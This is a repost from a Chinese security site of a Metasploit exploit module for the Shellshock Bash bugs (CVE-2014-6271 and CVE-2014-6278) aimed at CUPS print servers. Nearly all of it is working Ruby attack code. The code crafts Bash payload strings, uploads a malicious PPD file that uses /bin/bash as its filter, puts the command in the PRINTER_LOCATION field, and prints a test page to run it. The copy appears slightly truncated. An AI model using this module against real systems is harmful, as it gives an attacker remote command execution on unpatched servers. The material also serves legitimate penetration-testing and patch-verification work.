CUPS Filter Bash Environment Variable Code Injection Exploit

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

CUPS Filter Bash Environment Variable Code Injection Exploit

来源：metasploit.com 作者：Coles 发布时间：2014-10-29

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'CUPS Filter Bash Environment Variable Code Injection',

'Description' => %q{

This module exploits a post-auth code injection in specially crafted

environment variables in Bash, specifically targeting CUPS filters

through the PRINTER_INFO and PRINTER_LOCATION variables by default.

},

'Author' => [

'Stephane Chazelas', # Vulnerability discovery

'lcamtuf', # CVE-2014-6278

'Brendan Coles <bcoles[at]gmail.com>' # msf

],

'References' => [

['CVE', '2014-6271'],

['CVE', '2014-6278'],

['EDB', '34765'],

['URL', 'https://access.redhat.com/articles/1200223'],

['URL', 'http://seclists.org/oss-sec/2014/q3/649']

],

'Privileged' => false,

'Arch' => ARCH_CMD,

'Platform' => 'unix',

'Payload' =>

{

'Space' => 1024,

'BadChars' => "\x00\x0A\x0D",

'DisableNops' => true

},

'Compat' =>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic bash awk ruby'

},

# Tested:

# - CUPS version 1.4.3 on Ubuntu 10.04 (x86)

# - CUPS version 1.5.3 on Debian 7 (x64)

# - CUPS version 1.6.2 on Fedora 19 (x64)

# - CUPS version 1.7.2 on Ubuntu 14.04 (x64)

'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],

'DefaultTarget' => 0,

'DisclosureDate' => 'Sep 24 2014',

'License' => MSF_LICENSE

))

register_options([

Opt::RPORT(631),

OptBool.new('SSL', [ true, 'Use SSL', true ]),

OptString.new('USERNAME', [ true, 'CUPS username', 'root']),

OptString.new('PASSWORD', [ true, 'CUPS user password', '']),

OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),

OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])

], self.class)

end

#

# CVE-2014-6271

#

def cve_2014_6271(cmd)

%{() { :;}; $(#{cmd}) & }

end

#

# CVE-2014-6278

#

def cve_2014_6278(cmd)

%{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }}

end

#

# Check credentials

#

def check

@cookie = rand_text_alphanumeric(16)

printer_name = rand_text_alphanumeric(10 + rand(5))

res = add_printer(printer_name, '')

if !res

vprint_error("#{peer} - No response from host")

return Exploit::CheckCode::Unknown

elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/

vprint_status("#{peer} - Found CUPS version #{$1}")

else

print_status("#{peer} - Target is not a CUPS web server")

return Exploit::CheckCode::Safe

end

if res.body =~ /Set Default Options for #{printer_name}/

vprint_good("#{peer} - Added printer successfully")

delete_printer(printer_name)

elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)

vprint_error("#{peer} - Authentication failed")

elsif res.code == 426

vprint_error("#{peer} - SSL required - set SSL true")

end

Exploit::CheckCode::Detected

end

#

# Exploit

#

def exploit

@cookie = rand_text_alphanumeric(16)

printer_name = rand_text_alphanumeric(10 + rand(5))

# Select target CVE

case datastore['CVE']

when 'CVE-2014-6278'

cmd = cve_2014_6278(payload.raw)

else

cmd = cve_2014_6271(payload.raw)

end

# Add a printer containing the payload

# with a CUPS filter pointing to /bin/bash

res = add_printer(printer_name, cmd)

if !res

fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")

elsif res.body =~ /Set Default Options for #{printer_name}/

print_good("#{peer} - Added printer successfully")

elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)

fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")

elsif res.code == 426

fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")

else

fail_with(Failure::Unknown, "#{peer} - Could not add printer.")

end

# Add a test page to the print queue.

# The print job triggers execution of the bash filter

# which executes the payload in the environment variables.

res = print_test_page(printer_name)

if !res

fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")

elsif res.body =~ /Test page sent; job ID is/

vprint_good("#{peer} - Added test page to printer queue")

elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)

fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")

elsif res.code == 426

fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")

else

fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")

end

# Delete the printer

res = delete_printer(printer_name)

if !res

fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")

elsif res.body =~ /has been deleted successfully/

print_status("#{peer} - Deleted printer '#{printer_name}' successfully")

elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)

vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")

elsif res.code == 426

vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")

else

vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")

end

#

# Add a printer to CUPS

#

def add_printer(printer_name, cmd)

vprint_status("#{peer} - Adding new printer '#{printer_name}'")

ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"

ppd_file = <<-EOF

*PPD-Adobe: "4.3"

*%==== General Information Keywords ========================

*FormatVersion: "4.3"

*FileVersion: "1.00"

*LanguageVersion: English

*LanguageEncoding: ISOLatin1

*PCFileName: "#{ppd_name}"

*Manufacturer: "Brother"

*Product: "(Brother MFC-3820CN)"

*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"

*cupsVersion: 1.1

*cupsManualCopies: False

*cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash"

*cupsModelNumber: #{rand(10) + 1}

*ModelName: "Brother MFC-3820CN"

*ShortNickName: "Brother MFC-3820CN"

*NickName: "Brother MFC-3820CN CUPS v1.1"

*%

*%==== Basic Device Capabilities =============

*LanguageLevel: "3"

*ColorDevice: True

*DefaultColorSpace: RGB

*FileSystem: False

*Throughput: "12"

*LandscapeOrientation: Plus90

*VariablePaperSize: False

*TTRasterizer: Type42

*FreeVM: "1700000"

*DefaultOutputOrder: Reverse

*%==== Media Selection ======================

*OpenUI *PageSize/Media Size: PickOne

*OrderDependency: 18 AnySetup *PageSize

*DefaultPageSize: BrLetter

*PageSize BrA4/A4: "<</PageSize[595 842]/ImagingBBox null>>setpagedevice"

*PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice"

EOF

pd = Rex::MIME::Message.new

pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))

pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))

pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))

pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))

pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable

pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable

pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))

data = pd.to_s

data.strip!

send_request_cgi(

'method' => 'POST',

'uri' => normalize_uri(target_uri.path, 'admin'),

'ctype' => "multipart/form-data; boundary=#{pd.bound}",

'data' => data,

'cookie' => "org.cups.sid=#{@cookie};",

'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])

)

end

#

# Queue a printer test page

#

def print_test_page(printer_name)

vprint_status("#{peer} - Adding test page to printer queue")

send_request_cgi(

'method' => 'POST',

'uri' => normalize_uri(target_uri.path, 'printers', printer_name),

'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),

'cookie' => "org.cups.sid=#{@cookie}",

'vars_post' => {

'org.cups.sid' => @cookie,

'OP' => 'print-test-page'

}

)

end

#

# Delete a printer

#

def delete_printer(printer_name)

vprint_status("#{peer} - Deleting printer '#{printer_name}'")

send_request_cgi(

'method' => 'POST',

'uri' => normalize_uri(target_uri.path, 'admin'),

'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),

'cookie' => "org.cups.sid=#{@cookie}",

'vars_post' => {

'org.cups.sid' => @cookie,

'OP' => 'delete-printer',

'printer_name' => printer_name,

'confirm' => 'Delete Printer'

}

)

end

[